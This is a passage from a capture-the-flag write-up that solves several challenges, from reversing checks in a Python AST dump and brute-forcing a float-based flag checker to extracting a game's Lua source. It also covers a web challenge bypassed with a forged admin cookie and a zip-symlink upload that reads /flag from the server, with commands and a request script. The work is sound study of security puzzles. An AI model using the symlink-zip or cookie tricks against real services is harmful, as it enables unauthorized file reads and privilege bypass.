    Constant(value=76),
    Constant(value=96),
    Constant(value=102),
    Constant(value=99),
    Constant(value=118),
    Constant(value=97),
    Constant(value=76),
    Constant(value=119),
    Constant(value=102),
    Constant(value=99),
    Constant(value=118),
    Constant(value=97),
    Constant(value=76),
    Constant(value=124),
    Constant(value=120)],
ctx=Load())),

iter=Call(
    func=Name(id='enumerate', ctx=Load()),
    args=[
        Name(id='key2', ctx=Load())],
    keywords=[]),
body=[
    Assign(
        targets=[
            Name(id='v', ctx=Store())],
        value=BinOp(
            left=Call(
                func=Name(id='ord', ctx=Load()),
                args=[
                    Subscript(
                        value=Name(id='key2', ctx=Load()),
                        slice=Name(id='i', ctx=Load()),
                        ctx=Load())],
                keywords=[]),
            op=BitXor(),
            right=Constant(value=19))),
    If(
        test=Compare(
            left=Name(id='v', ctx=Load()),
            ops=[
                NotEq()],
            comparators=[
                Subscript(
                    value=Name(id='vals', ctx=Load()),
                    slice=Name(id='i', ctx=Load()),
                    ctx=Load())]),

>>> from pwn import xor
>>> v = [36,76,96,102,99,118,97,76,119,102,99,118,97,76,124,120]
>>> print(xor(v, 19))
b'7_super_duper_ok'

# check 4, reversed part of key[32:48] should be equal to _!ftcnocllunlol_

FunctionDef(
    name='check_key',
    args=arguments(
        posonlyargs=[],
        args=[
            arg(arg='k')],
        kwonlyargs=[],
        kw_defaults=[],
        defaults=[]),
    body=[
        If(
            test=Compare(
                left=Subscript(
                    value=Name(id='k', ctx=Load()),
                    slice=Slice(
                        step=UnaryOp(
                            op=USub(),
                            operand=Constant(value=1))),
                    ctx=Load()),
                ops=[
                    NotEq()],
                comparators=[
                    Constant(value='_!ftcnocllunlol_')]),
            body=[
                Return(
                    value=Constant(value=False))],
            orelse=[]),
        Return(
            value=Constant(value=True))],
    decorator_list=[]),
If(

=> key[32:48] = _lolnullconctf!_

# last check, just verify that the flag ends with you_solved_it!!}

If(
    test=Compare(
        left=Name(id='k', ctx=Load()),
        ops=[
            Eq()],
        comparators=[
            Constant(value='you_solved_it!!}')]),
    body=[
        Return(
            value=Constant(value=True))],
    orelse=[
        Return(
            value=Constant(value=False))])],
decorator_list=[])],

# Put all the parts together for the flag

Flag

ENO{L133333333337_super_duper_ok_lolnullconctf!_you_solved_it!!}

wheel

Description

Can you stop the wheels at the right time to win?

We are given a pretty simple flag checker. The first thing that the binary does is that it takes our input flag from the arguments and compare its length to 27:

Then it spawns a thread for each char and calls a function which uses the index and the value of the input:

At the end the binary checks that all the results were 0:

This is the function that checks the char of the flag:

And this is the initial FloatVals vector:

To solve this we can just reimplement the program in Python and bf each character of the flag:

vals = [9.0,74.0,31.0,99.0,114.0,52.0,80.0,125.0,23.0,11.0,79.0,91.0,108.0,42.0,79.0,118.0,75.0,79.0,109.0,42.0,44.0,11.0,79.0,44.0,80.0,127.0,49.0]

def bf(idx, c):
v = vals[idx]
for _ in range(c):
v = v * 5 + 47
while v >= 128:
v -= 128
return v

for i in range(27):
for c in range(128):
if bf(i, c) == 0:
print(chr(c), end='')
break

# ENO{fl0a7s_c4n_b3_1nts_t0o}

Flag

ENO{fl0a7s_c4n_b3_1nts_t0o}

LovR

Description

LovR is a fun game to play. Reach a certain level to see the hidden way.

ATTENTION: This Challenge does not use our flag format.

1/100 attempts

We're given a simple candy crush like game, when cheating through the levels, we notice that at level 10, something in the seemingly random screen changes. When we research a bit more about this game engine, we can figure out its written in lua, after running binwalk -e we even get the source code. When we remove the lines that draw the random dots, rerun it with lovec.exe we get the flag.

Flag

FL4G_TW33N

reguest

Description

HTTP requests and libraries are hard. Sometimes they do not behave as expected, which might lead to vulnerabilities.

http://52.59.124.14:10014

We just need to pass the Cookie: role=admin; really=yes header to the HTTP request, we can do that using Burp. However, if we read the source code it seems that this shouldn't have worked, but HTTP is hard:

GET / HTTP/1.1
Host: 52.59.124.14:10014
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: role=admin; really=yes
Connection: close

=>

HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.11.2
Date: Thu, 09 Mar 2023 11:05:33 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 332
Connection: close

Usage: Look at the code ;-)

Overwriting cookies with default value! This must be secure!
Prepared request cookies are: [('role', 'guest'), ('really', 'yes')]
Sending request...
Request cookies are: [('role', 'guest'), ('really', 'yes')]

Someone's drunk oO

Response is: Admin: ENO{R3Qu3sts_4r3_s0m3T1m3s_we1rd_dont_get_confused}

Flag

ENO{R3Qu3sts_4r3_s0m3T1m3s_we1rd_dont_get_confused}

zpr

Description

My colleague built a service which shows the contents of a zip file. He says there's nothing to worry about....

http://52.59.124.14:10015 + http://52.59.124.14:10016

Zipslip vulnerability. We need to upload a zip that contains a symlink to /flag

$ ln -s /flag flag
$ zip --symlinks test.zip flag
import requests

r = requests.post('http://52.59.124.14:10015/', files=[('file', open('test.zip', 'rb'))])
print(r.text)

Then we just download the flag file from the server

Flag

ENO{Z1pF1L3s_C4N_B3_Dangerous_so_b3_c4r3ful!}

Twitter GitHub LinkedIn